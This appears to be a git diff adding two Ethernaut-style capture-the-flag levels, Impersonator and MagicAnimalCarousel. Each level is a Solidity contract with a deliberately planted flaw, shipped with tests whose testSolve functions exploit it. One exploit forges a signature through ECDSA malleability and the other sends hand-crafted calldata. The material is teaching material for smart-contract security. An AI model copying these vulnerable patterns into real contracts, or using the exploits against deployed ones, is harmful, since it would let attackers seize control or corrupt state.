anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":\"Ownable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"constructor":{"details":"Initializes the contract setting the deployer as the initial owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":"Ownable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"}},"version":1},"id":0}
\ No newline at end of file
diff --git a/contracts/src/levels/Impersonator.sol b/contracts/src/levels/Impersonator.sol
new file mode 100644
index 000000000..e139e9de9
--- /dev/null
+++ b/contracts/src/levels/Impersonator.sol
@@ -0,0 +1,124 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+import "openzeppelin-contracts-08/access/Ownable.sol";
+
+// SlockDotIt ECLocker factory
+contract Impersonator is Ownable {
+ uint256 public lockCounter;
+ ECLocker[] public lockers;
+
+ event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);
+
+ constructor(uint256 _lockCounter) {
+ lockCounter = _lockCounter;
+ }
+
+ function deployNewLock(bytes memory signature) public onlyOwner {
+ // Deploy a new lock
+ ECLocker newLock = new ECLocker(++lockCounter, signature);
+ lockers.push(newLock);
+ emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
+ }
+}
+
+contract ECLocker {
+ uint256 public immutable lockId;
+ bytes32 public immutable msgHash;
+ address public controller;
+ mapping(bytes32 => bool) public usedSignatures;
+
+ event LockInitializated(address indexed initialController, uint256 timestamp);
+ event Open(address indexed opener, uint256 timestamp);
+ event ControllerChanged(address indexed newController, uint256 timestamp);
+
+ error InvalidController();
+ error SignatureAlreadyUsed();
+
+ /// @notice Initializes the contract the lock
+ /// @param _lockId uinique lock id set by SlockDotIt's factory
+ /// @param _signature the signature of the initial controller
+ constructor(uint256 _lockId, bytes memory _signature) {
+ // Set lockId
+ lockId = _lockId;
+
+ // Compute msgHash
+ bytes32 _msgHash;
+ assembly {
+ mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
+ mstore(0x1C, _lockId) // 32 bytes
+ _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
+ }
+ msgHash = _msgHash;
+
+ // Recover the initial controller from the signature
+ address initialController = address(1);
+ assembly {
+ let ptr := mload(0x40)
+ mstore(ptr, _msgHash) // 32 bytes
+ mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
+ mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
+ mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
+ pop(
+ staticcall(
+ gas(), // Amount of gas left for the transaction.
+ initialController, // Address of `ecrecover`.
+ ptr, // Start of input.
+ 0x80, // Size of input.
+ 0x00, // Start of output.
+ 0x20 // Size of output.
+ )
+ )
+ if iszero(returndatasize()) {
+ mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
+ revert(0x1c, 0x04)
+ }
+ initialController := mload(0x00)
+ mstore(0x40, add(ptr, 128))
+ }
+
+ // Invalidate signature
+ usedSignatures[keccak256(_signature)] = true;
+
+ // Set the controller
+ controller = initialController;
+
+ // emit LockInitializated
+ emit LockInitializated(initialController, block.timestamp);
+ }
+
+ /// @notice Opens the lock
+ /// @dev Emits Open event
+ /// @param v the recovery id
+ /// @param r the r value of the signature
+ /// @param s the s value of the signature
+ function open(uint8 v, bytes32 r, bytes32 s) external {
+ address add = _isValidSignature(v, r, s);
+ emit Open(add, block.timestamp);
+ }
+
+ /// @notice Changes the controller of the lock
+ /// @dev Updates the controller storage variable
+ /// @dev Emits ControllerChanged event
+ /// @param v the recovery id
+ /// @param r the r value of the signature
+ /// @param s the s value of the signature
+ /// @param newController the new controller address
+ function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
+ _isValidSignature(v, r, s);
+ controller = newController;
+ emit ControllerChanged(newController, block.timestamp);
+ }
+
+ function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
+ address _address = ecrecover(msgHash, v, r, s);
+ require (_address == controller, InvalidController());
+
+ bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
+ require (!usedSignatures[signatureHash], SignatureAlreadyUsed());
+
+ usedSignatures[signatureHash] = true;
+
+ return _address;
+ }
+}
diff --git a/contracts/src/levels/ImpersonatorFactory.sol b/contracts/src/levels/ImpersonatorFactory.sol
new file mode 100644
index 000000000..3df5dd978
--- /dev/null
+++ b/contracts/src/levels/ImpersonatorFactory.sol
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./base/Level.sol";
+import "./Impersonator.sol";
+
+contract ImpersonatorFactory is Level {
+ function createInstance(address _player) public payable override returns (address) {
+ _player;
+ Impersonator impersonator = new Impersonator(1336);
+ bytes memory signature = abi.encode(
+ [
+ uint256(11397568185806560130291530949248708355673262872727946990834312389557386886033),
+ uint256(54405834204020870944342294544757609285398723182661749830189277079337680158706),
+ uint256(27)
+ ]
+ );
+ impersonator.deployNewLock(signature);
+ return address(impersonator);
+ }
+
+ function validateInstance(address payable _instance, address _player) public view override returns (bool) {
+ _player;
+ Impersonator instance = Impersonator(_instance);
+ ECLocker locker = instance.lockers(0);
+ return locker.controller() == address(0);
+ }
+}
diff --git a/contracts/src/levels/MagicAnimalCarousel.sol b/contracts/src/levels/MagicAnimalCarousel.sol
new file mode 100644
index 000000000..a5a46a616
--- /dev/null
+++ b/contracts/src/levels/MagicAnimalCarousel.sol
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+contract MagicAnimalCarousel {
+ uint16 constant public MAX_CAPACITY = type(uint16).max;
+ uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
+ uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
+ uint256 constant OWNER_MASK = uint256(type(uint160).max);
+
+ uint256 public currentCrateId;
+ mapping(uint256 crateId => uint256 animalInside) public carousel;
+
+ error InvalidCarouselId();
+ error AnimalNameTooLong();
+
+ constructor() {
+ carousel[0] ^= 1 << 160;
+ }
+
+ function setAnimalAndSpin(string calldata animal) external {
+ uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
+ uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;
+
+ require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
+ carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
+ | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);
+
+ currentCrateId = nextCrateId;
+ }
+
+ function changeAnimal(string calldata animal, uint256 crateId) external {
+ address owner = address(uint160(carousel[crateId] & OWNER_MASK));
+ if (owner != address(0)) {
+ require(msg.sender == owner);
+ }
+ uint256 encodedAnimal = encodeAnimalName(animal);
+ if (encodedAnimal != 0) {
+ // Replace animal
+ carousel[crateId] =
+ (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
+ } else {
+ // If no animal specified keep same animal but clear owner slot
+ carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
+ }
+ }
+
+ function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
+ require(bytes(animalName).length <= 12, AnimalNameTooLong());
+ return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
+ }
+}
diff --git a/contracts/src/levels/MagicAnimalCarouselFactory.sol b/contracts/src/levels/MagicAnimalCarouselFactory.sol
new file mode 100644
index 000000000..c9156b962
--- /dev/null
+++ b/contracts/src/levels/MagicAnimalCarouselFactory.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./base/Level.sol";
+import "./MagicAnimalCarousel.sol";
+
+contract MagicAnimalCarouselFactory is Level {
+ function createInstance(address _player) public payable override returns (address) {
+ _player;
+ MagicAnimalCarousel magicAnimalCarousel = new MagicAnimalCarousel();
+ return address(magicAnimalCarousel);
+ }
+
+ function validateInstance(address payable _instance, address _player) public override returns (bool) {
+ _player;
+ MagicAnimalCarousel instance = MagicAnimalCarousel(_instance);
+ // Store a goat in the box
+ string memory goat = "Goat";
+ instance.setAnimalAndSpin(goat);
+
+ // Goat should be mutated
+ uint256 currentCrateId = instance.currentCrateId();
+ uint256 animalInBox = instance.carousel(currentCrateId) >> 176;
+ uint256 goatEnc = uint256(bytes32(abi.encodePacked(goat))) >> 176;
+ return animalInBox != goatEnc;
+ }
+}
\ No newline at end of file
diff --git a/contracts/test/levels/Impersonator.t.sol b/contracts/test/levels/Impersonator.t.sol
new file mode 100644
index 000000000..37d17fa97
--- /dev/null
+++ b/contracts/test/levels/Impersonator.t.sol
@@ -0,0 +1,98 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import {Utils} from "test/utils/Utils.sol";
+
+import {Impersonator, ECLocker} from "src/levels/Impersonator.sol";
+import {ImpersonatorFactory} from "src/levels/ImpersonatorFactory.sol";
+import {Level} from "src/levels/base/Level.sol";
+import {Ethernaut} from "src/Ethernaut.sol";
+
+contract TestImpersonator is Test, Utils {
+ Ethernaut ethernaut;
+ Impersonator instance;
+ address payable owner;
+ address payable player;
+
+ bytes32 r = bytes32(uint256(11397568185806560130291530949248708355673262872727946990834312389557386886033));
+ bytes32 s = bytes32(uint256(54405834204020870944342294544757609285398723182661749830189277079337680158706));
+ uint8 v = 27;
+
+ /*//////////////////////////////////////////////////////////////
+ HELPERS
+ //////////////////////////////////////////////////////////////*/
+
+ function setUp() public {
+ address payable[] memory users = createUsers(2);
+
+ owner = users[0];
+ vm.label(owner, "Owner");
+
+ player = users[1];
+ vm.label(player, "Player");
+
+ vm.startPrank(owner);
+ ethernaut = getEthernautWithStatsProxy(owner);
+ ImpersonatorFactory factory = new ImpersonatorFactory();
+ ethernaut.registerLevel(Level(address(factory)));
+ vm.stopPrank();
+
+ vm.startPrank(player);
+ instance = Impersonator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
+ vm.stopPrank();
+ }
+
+ /*//////////////////////////////////////////////////////////////
+ TESTS
+ //////////////////////////////////////////////////////////////*/
+
+ /// @notice Check the intial state of the level and enviroment.
+ function testInit() public {
+ ECLocker locker0 = instance.lockers(0);
+ assertEq(locker0.lockId(), 1337);
+ assertEq(locker0.controller(), 0x42069d82D9592991704e6E41BF2589a76eAd1A91);
+
+ vm.startPrank(player);
+ assertFalse(submitLevelInstance(ethernaut, address(instance)));
+ }
+
+ function testFail_TrySameSignatureOpen() public {
+ vm.startPrank(player);
+ ECLocker locker0 = instance.lockers(0);
+ locker0.open(v, r, s);
+ }
+
+ function testFail_TrySameSignatureChangeController() public {
+ vm.startPrank(player);
+ ECLocker locker0 = instance.lockers(0);
+ locker0.changeController(v, r, s, player);
+ }
+
+ function testFail_TryRandomSignatureChangeController() public {
+ vm.startPrank(player);
+ ECLocker locker0 = instance.lockers(0);
+ locker0.changeController(28, r, bytes32(uint256(s) + 1), player);
+ }
+
+ /// @notice Test the solution for the level.
+ function testSolve() public {
+ vm.startPrank(player);
+ // https://eips.ethereum.org/EIPS/eip-2
+ // flip the s value from s to secp256k1n - s, flip the v value (27 -> 28, 28 -> 27), and the resulting signature would still be valid.
+ uint256 secp256k1_n = 115792089237316195423570985008687907852837564279074904382605163141518161494337;
+ bytes32 tricked_s = bytes32(secp256k1_n - uint256(s));
+
+ vm.expectEmit();
+ emit ECLocker.ControllerChanged(address(0), block.timestamp);
+
+ ECLocker locker0 = instance.lockers(0);
+ locker0.changeController(28, r, tricked_s, address(0));
+
+ vm.expectEmit();
+ emit ECLocker.Open(address(0), block.timestamp);
+ locker0.open(0, 0, 0);
+
+ assertTrue(submitLevelInstance(ethernaut, address(instance)));
+ }
+}
diff --git a/contracts/test/levels/MagicAnimalCarousel.t.sol b/contracts/test/levels/MagicAnimalCarousel.t.sol
new file mode 100644
index 000000000..0e3e4ccb6
--- /dev/null
+++ b/contracts/test/levels/MagicAnimalCarousel.t.sol
@@ -0,0 +1,118 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.28;
+
+import "forge-std/Test.sol";
+import {Utils} from "test/utils/Utils.sol";
+
+import {MagicAnimalCarousel} from "src/levels/MagicAnimalCarousel.sol";
+import {MagicAnimalCarouselFactory} from "src/levels/MagicAnimalCarouselFactory.sol";
+import {Level} from "src/levels/base/Level.sol";
+import {Ethernaut} from "src/Ethernaut.sol";
+
+contract TestMagicAnimalCarousel is Test, Utils {
+ Ethernaut ethernaut;
+ MagicAnimalCarousel instance;
+
+ address payable owner;
+ address payable player;
+
+ /*//////////////////////////////////////////////////////////////
+ HELPERS
+ //////////////////////////////////////////////////////////////*/
+
+ function setUp() public {
+ address payable[] memory users = createUsers(2);
+
+ owner = users[0];
+ vm.label(owner, "Owner");
+
+ player = users[1];
+ vm.label(player, "Player");
+
+ vm.startPrank(owner);
+ ethernaut = getEthernautWithStatsProxy(owner);
+ MagicAnimalCarouselFactory factory = new MagicAnimalCarouselFactory();
+ ethernaut.registerLevel(Level(address(factory)));
+ vm.stopPrank();
+
+ vm.startPrank(player);
+ instance = MagicAnimalCarousel(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
+ vm.stopPrank();
+ }
+
+ /*//////////////////////////////////////////////////////////////
+ TESTS
+ //////////////////////////////////////////////////////////////*/
+
+ /// @notice Check the intial state of the level and enviroment.
+ function testInit() public {
+ vm.startPrank(player);
+ assertEq(instance.currentCrateId(), 0);
+ assertEq(instance.carousel(0), 1 << 160);
+ submitLevelInstance(ethernaut, address(instance));
+ assertFalse(submitLevelInstance(ethernaut, address(instance)));
+ }
+
+ function testAnimalsShouldBeStoredOk() public {
+ vm.startPrank(player);
+ string memory dog = "Dog";
+ uint256 dogEnc = uint256(bytes32(abi.encodePacked(dog)));
+ instance.setAnimalAndSpin(dog);
+ assertEq(instance.currentCrateId(), 1);
+ assertEq(instance.carousel(1), dogEnc | 2 << 160 | uint160(address(player)));
+
+ string memory goat = "Goat";
+ uint256 goatEnc = uint256(bytes32(abi.encodePacked(goat)));
+ instance.setAnimalAndSpin(goat);
+ assertEq(instance.currentCrateId(), 2);
+ assertEq(instance.carousel(2), goatEnc | 3 << 160 | uint160(address(player)));
+
+ //MAX_CAPACITY == 4
+ // string memory fish = "Fish";
+ // uint256 fishEnc = uint256(bytes32(abi.encodePacked(fish)));
+ // instance.setAnimalAndSpin(fish);
+ // assertEq(instance.currentCrateId(), 3);
+ // assertEq(instance.carousel(3), fishEnc | 0 << 160 | uint160(address(player)));
+ }
+
+ function testFailOnlyOwnerShouldBeAbleToChangeAnimal() public {
+ vm.startPrank(player, player);
+ instance.setAnimalAndSpin("Echidna");
+ vm.stopPrank();
+ instance.changeAnimal("Pidgeon", 1);
+ }
+
+ function testOnlyOwnerShouldBeAbleToChangeAnimal() public {
+ vm.startPrank(player, player);
+
+ string memory pidgeon = "Pidgeon";
+ uint256 pidgeonEnc = uint256(bytes32(abi.encodePacked(pidgeon)));
+ instance.setAnimalAndSpin("Echidna");
+ instance.changeAnimal(pidgeon, 1);
+ assertEq(instance.currentCrateId(), 1);
+ assertEq(instance.carousel(1), pidgeonEnc | 2 << 160 | uint160(address(player)));
+ }
+
+ function testCangeAnimalWithZeroShouldKeepSameAnimal() public {
+ vm.startPrank(player, player);
+ instance.setAnimalAndSpin("Echidna");
+ string memory fish = "Fish";
+ uint256 fishEnc = uint256(bytes32(abi.encodePacked(fish))) >> 176;
+ instance.setAnimalAndSpin(fish);
+ instance.changeAnimal("", 2);
+ uint256 animalInSlot = instance.carousel(2) >> 176;
+ assertEq(animalInSlot, fishEnc);
+ }
+
+ /// @notice Test the solution for the level.
+ function testSolve() public {
+ vm.startPrank(player, player);
+ instance.setAnimalAndSpin("Echidna");
+ bytes memory payload = abi.encodePacked(uint256(64), uint256(1), uint256(12), hex"31323334353637383930ffff");
+ (bool success, ) = address(instance).call(abi.encodePacked(instance.changeAnimal.selector, payload));
+ assertTrue(success);
+ instance.setAnimalAndSpin("Pidgeon");
+ assertEq(instance.currentCrateId(), type(uint16).max);
+ assertTrue(submitLevelInstance(ethernaut, address(instance)));
+ }
+}